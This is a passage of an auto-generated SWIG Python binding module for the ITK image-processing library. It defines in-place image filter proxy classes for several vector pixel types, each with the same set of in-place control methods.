new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32ICVF32_GetInPlace, None, itkInPlaceImageFilterIVF32ICVF32) itkInPlaceImageFilterIVF32ICVF32.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32ICVF32_InPlaceOn, None, itkInPlaceImageFilterIVF32ICVF32) itkInPlaceImageFilterIVF32ICVF32.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32ICVF32_InPlaceOff, None, itkInPlaceImageFilterIVF32ICVF32) itkInPlaceImageFilterIVF32ICVF32.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32ICVF32_CanRunInPlace, None, itkInPlaceImageFilterIVF32ICVF32) itkInPlaceImageFilterIVF32ICVF32_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32ICVF32_swigregister itkInPlaceImageFilterIVF32ICVF32_swigregister(itkInPlaceImageFilterIVF32ICVF32) def itkInPlaceImageFilterIVF32ICVF32_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF32ICVF32 *": """itkInPlaceImageFilterIVF32ICVF32_cast(itkLightObject obj) -> itkInPlaceImageFilterIVF32ICVF32""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32ICVF32_cast(obj) class itkInPlaceImageFilterIVF32IVF32(itkImageToImageFilterAPython.itkImageToImageFilterIVF32IVF32): """Proxy of C++ itkInPlaceImageFilterIVF32IVF32 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIVF32IVF32 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32IVF32_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIVF32IVF32 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32IVF32_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIVF32IVF32 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32IVF32_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIVF32IVF32 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32IVF32_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIVF32IVF32 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32IVF32_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIVF32IVF32 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF32IVF32 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIVF32IVF32""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32IVF32_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIVF32IVF32 Create a new object of the class itkInPlaceImageFilterIVF32IVF32 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIVF32IVF32.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIVF32IVF32.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIVF32IVF32.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIVF32IVF32.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32IVF32_SetInPlace, None, itkInPlaceImageFilterIVF32IVF32) itkInPlaceImageFilterIVF32IVF32.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32IVF32_GetInPlace, None, itkInPlaceImageFilterIVF32IVF32) itkInPlaceImageFilterIVF32IVF32.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32IVF32_InPlaceOn, None, itkInPlaceImageFilterIVF32IVF32) itkInPlaceImageFilterIVF32IVF32.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32IVF32_InPlaceOff, None, itkInPlaceImageFilterIVF32IVF32) itkInPlaceImageFilterIVF32IVF32.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32IVF32_CanRunInPlace, None, itkInPlaceImageFilterIVF32IVF32) itkInPlaceImageFilterIVF32IVF32_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32IVF32_swigregister itkInPlaceImageFilterIVF32IVF32_swigregister(itkInPlaceImageFilterIVF32IVF32) def itkInPlaceImageFilterIVF32IVF32_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF32IVF32 *": """itkInPlaceImageFilterIVF32IVF32_cast(itkLightObject obj) -> itkInPlaceImageFilterIVF32IVF32""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32IVF32_cast(obj) class itkInPlaceImageFilterIVF33ICVF33(itkImageToImageFilterAPython.itkImageToImageFilterIVF33ICVF33): """Proxy of C++ itkInPlaceImageFilterIVF33ICVF33 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIVF33ICVF33 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33ICVF33_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIVF33ICVF33 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33ICVF33_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIVF33ICVF33 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33ICVF33_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIVF33ICVF33 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33ICVF33_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIVF33ICVF33 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33ICVF33_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIVF33ICVF33 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF33ICVF33 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIVF33ICVF33""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33ICVF33_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIVF33ICVF33 Create a new object of the class itkInPlaceImageFilterIVF33ICVF33 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIVF33ICVF33.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIVF33ICVF33.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIVF33ICVF33.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIVF33ICVF33.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33ICVF33_SetInPlace, None, itkInPlaceImageFilterIVF33ICVF33) itkInPlaceImageFilterIVF33ICVF33.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33ICVF33_GetInPlace, None, itkInPlaceImageFilterIVF33ICVF33) itkInPlaceImageFilterIVF33ICVF33.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33ICVF33_InPlaceOn, None, itkInPlaceImageFilterIVF33ICVF33) itkInPlaceImageFilterIVF33ICVF33.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33ICVF33_InPlaceOff, None, itkInPlaceImageFilterIVF33ICVF33) itkInPlaceImageFilterIVF33ICVF33.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33ICVF33_CanRunInPlace, None, itkInPlaceImageFilterIVF33ICVF33) itkInPlaceImageFilterIVF33ICVF33_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33ICVF33_swigregister itkInPlaceImageFilterIVF33ICVF33_swigregister(itkInPlaceImageFilterIVF33ICVF33) def itkInPlaceImageFilterIVF33ICVF33_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF33ICVF33 *": """itkInPlaceImageFilterIVF33ICVF33_cast(itkLightObject obj) -> itkInPlaceImageFilterIVF33ICVF33""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33ICVF33_cast(obj) class itkInPlaceImageFilterIVF33IVF33(itkImageToImageFilterAPython.itkImageToImageFilterIVF33IVF33): """Proxy of C++ itkInPlaceImageFilterIVF33IVF33 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIVF33IVF33 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33IVF33_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIVF33IVF33 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33IVF33_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIVF33IVF33 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33IVF33_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIVF33IVF33 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33IVF33_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIVF33IVF33 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33IVF33_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIVF33IVF33 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF33IVF33 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIVF33IVF33""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33IVF33_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIVF33IVF33 Create a new object of the class itkInPlaceImageFilterIVF33IVF33 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIVF33IVF33.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIVF33IVF33.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIVF33IVF33.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIVF33IVF33.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33IVF33_SetInPlace, None, itkInPlaceImageFilterIVF33IVF33) itkInPlaceImageFilterIVF33IVF33.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33IVF33_GetInPlace, None, itkInPlaceImageFilterIVF33IVF33) itkInPlaceImageFilterIVF33IVF33.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33IVF33_InPlaceOn, None, itkInPlaceImageFilterIVF33IVF33) itkInPlaceImageFilterIVF33IVF33.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33IVF33_InPlaceOff, None, itkInPlaceImageFilterIVF33IVF33) itkInPlaceImageFilterIVF33IVF33.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33IVF33_CanRunInPlace, None, itkInPlaceImageFilterIVF33IVF33) itkInPlaceImageFilterIVF33IVF33_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33IVF33_swigregister itkInPlaceImageFilterIVF33IVF33_swigregister(itkInPlaceImageFilterIVF33IVF33) def itkInPlaceImageFilterIVF33IVF33_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF33IVF33 *": """itkInPlaceImageFilterIVF33IVF33_cast(itkLightObject obj) -> itkInPlaceImageFilterIVF33IVF33""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF33IVF33_cast(obj) class itkInPlaceImageFilterIVF42ICVF42(itkImageToImageFilterAPython.itkImageToImageFilterIVF42ICVF42): """Proxy of C++ itkInPlaceImageFilterIVF42ICVF42 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIVF42ICVF42 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42ICVF42_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIVF42ICVF42 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42ICVF42_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIVF42ICVF42 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42ICVF42_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIVF42ICVF42 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42ICVF42_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIVF42ICVF42 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42ICVF42_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIVF42ICVF42 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF42ICVF42 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIVF42ICVF42""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42ICVF42_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIVF42ICVF42 Create a new object of the class itkInPlaceImageFilterIVF42ICVF42 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIVF42ICVF42.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIVF42ICVF42.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIVF42ICVF42.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIVF42ICVF42.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42ICVF42_SetInPlace, None, itkInPlaceImageFilterIVF42ICVF42) itkInPlaceImageFilterIVF42ICVF42.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42ICVF42_GetInPlace, None, itkInPlaceImageFilterIVF42ICVF42) itkInPlaceImageFilterIVF42ICVF42.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42ICVF42_InPlaceOn, None, itkInPlaceImageFilterIVF42ICVF42) itkInPlaceImageFilterIVF42ICVF42.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42ICVF42_InPlaceOff, None, itkInPlaceImageFilterIVF42ICVF42) itkInPlaceImageFilterIVF42ICVF42.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42ICVF42_CanRunInPlace, None, itkInPlaceImageFilterIVF42ICVF42) itkInPlaceImageFilterIVF42ICVF42_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42ICVF42_swigregister itkInPlaceImageFilterIVF42ICVF42_swigregister(itkInPlaceImageFilterIVF42ICVF42) def itkInPlaceImageFilterIVF42ICVF42_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF42ICVF42 *": """itkInPlaceImageFilterIVF42ICVF42_cast(itkLightObject obj) -> itkInPlaceImageFilterIVF42ICVF42""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42ICVF42_cast(obj) class itkInPlaceImageFilterIVF42IVF42(itkImageToImageFilterAPython.itkImageToImageFilterIVF42IVF42): """Proxy of C++ itkInPlaceImageFilterIVF42IVF42 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIVF42IVF42 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42IVF42_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIVF42IVF42 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42IVF42_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIVF42IVF42 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42IVF42_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIVF42IVF42 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42IVF42_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIVF42IVF42 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42IVF42_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIVF42IVF42 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF42IVF42 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIVF42IVF42""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42IVF42_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIVF42IVF42 Create a new object of the class itkInPlaceImageFilterIVF42IVF42 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIVF42IVF42.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIVF42IVF42.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIVF42IVF42.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIVF42IVF42.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42IVF42_SetInPlace, None, itkInPlaceImageFilterIVF42IVF42) itkInPlaceImageFilterIVF42IVF42.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42IVF42_GetInPlace, None, itkInPlaceImageFilterIVF42IVF42) itkInPlaceImageFilterIVF42IVF42.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42IVF42_InPlaceOn, None, itkInPlaceImageFilterIVF42IVF42) itkInPlaceImageFilterIVF42IVF42.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42IVF42_InPlaceOff, None, itkInPlaceImageFilterIVF42IVF42) itkInPlaceImageFilterIVF42IVF42.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42IVF42_CanRunInPlace, None, itkInPlaceImageFilterIVF42IVF42) itkInPlaceImageFilterIVF42IVF42_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42IVF42_swigregister itkInPlaceImageFilterIVF42IVF42_swigregister(itkInPlaceImageFilterIVF42IVF42) def itkInPlaceImageFilterIVF42IVF42_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF42IVF42 *": """itkInPlaceImageFilterIVF42IVF42_cast(itkLightObject obj) -> itkInPlaceImageFilterIVF42IVF42""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF42IVF42_cast(obj) class itkInPlaceImageFilterIVF43ICVF43(itkImageToImageFilterAPython.itkImageToImageFilterIVF43ICVF43): """Proxy of C++ itkInPlaceImageFilterIVF43ICVF43 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIVF43ICVF43 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43ICVF43_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIVF43ICVF43 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43ICVF43_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIVF43ICVF43 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43ICVF43_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIVF43ICVF43 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43ICVF43_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIVF43ICVF43 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43ICVF43_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIVF43ICVF43 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF43ICVF43 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIVF43ICVF43""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43ICVF43_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIVF43ICVF43 Create a new object of the class itkInPlaceImageFilterIVF43ICVF43 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIVF43ICVF43.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIVF43ICVF43.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIVF43ICVF43.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIVF43ICVF43.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43ICVF43_SetInPlace, None, itkInPlaceImageFilterIVF43ICVF43) itkInPlaceImageFilterIVF43ICVF43.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43ICVF43_GetInPlace, None, itkInPlaceImageFilterIVF43ICVF43) itkInPlaceImageFilterIVF43ICVF43.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43ICVF43_InPlaceOn, None, itkInPlaceImageFilterIVF43ICVF43) itkInPlaceImageFilterIVF43ICVF43.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43ICVF43_InPlaceOff, None, itkInPlaceImageFilterIVF43ICVF43) itkInPlaceImageFilterIVF43ICVF43.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43ICVF43_CanRunInPlace, None, itkInPlaceImageFilterIVF43ICVF43) itkInPlaceImageFilterIVF43ICVF43_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43ICVF43_swigregister itkInPlaceImageFilterIVF43ICVF43_swigregister(itkInPlaceImageFilterIVF43ICVF43) def itkInPlaceImageFilterIVF43ICVF43_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF43ICVF43 *": """itkInPlaceImageFilterIVF43ICVF43_cast(itkLightObject obj) -> itkInPlaceImageFilterIVF43ICVF43""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43ICVF43_cast(obj) class itkInPlaceImageFilterIVF43IVF43(itkImageToImageFilterAPython.itkImageToImageFilterIVF43IVF43): """Proxy of C++ itkInPlaceImageFilterIVF43IVF43 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIVF43IVF43 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43IVF43_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIVF43IVF43 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43IVF43_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIVF43IVF43 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43IVF43_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIVF43IVF43 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43IVF43_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIVF43IVF43 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43IVF43_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIVF43IVF43 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF43IVF43 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIVF43IVF43""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43IVF43_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIVF43IVF43 Create a new object of the class itkInPlaceImageFilterIVF43IVF43 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIVF43IVF43.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIVF43IVF43.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIVF43IVF43.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIVF43IVF43.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43IVF43_SetInPlace, None, itkInPlaceImageFilterIVF43IVF43) itkInPlaceImageFilterIVF43IVF43.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43IVF43_GetInPlace, None, itkInPlaceImageFilterIVF43IVF43) itkInPlaceImageFilterIVF43IVF43.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43IVF43_InPlaceOn, None, itkInPlaceImageFilterIVF43IVF43) itkInPlaceImageFilterIVF43IVF43.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43IVF43_InPlaceOff, None, itkInPlaceImageFilterIVF43IVF43) itkInPlaceImageFilterIVF43IVF43.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43IVF43_CanRunInPlace, None, itkInPlaceImageFilterIVF43IVF43) itkInPlaceImageFilterIVF43IVF43_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43IVF43_swigregister itkInPlaceImageFilterIVF43IVF43_swigregister(itkInPlaceImageFilterIVF43IVF43) def itkInPlaceImageFilterIVF43IVF43_cast(obj: 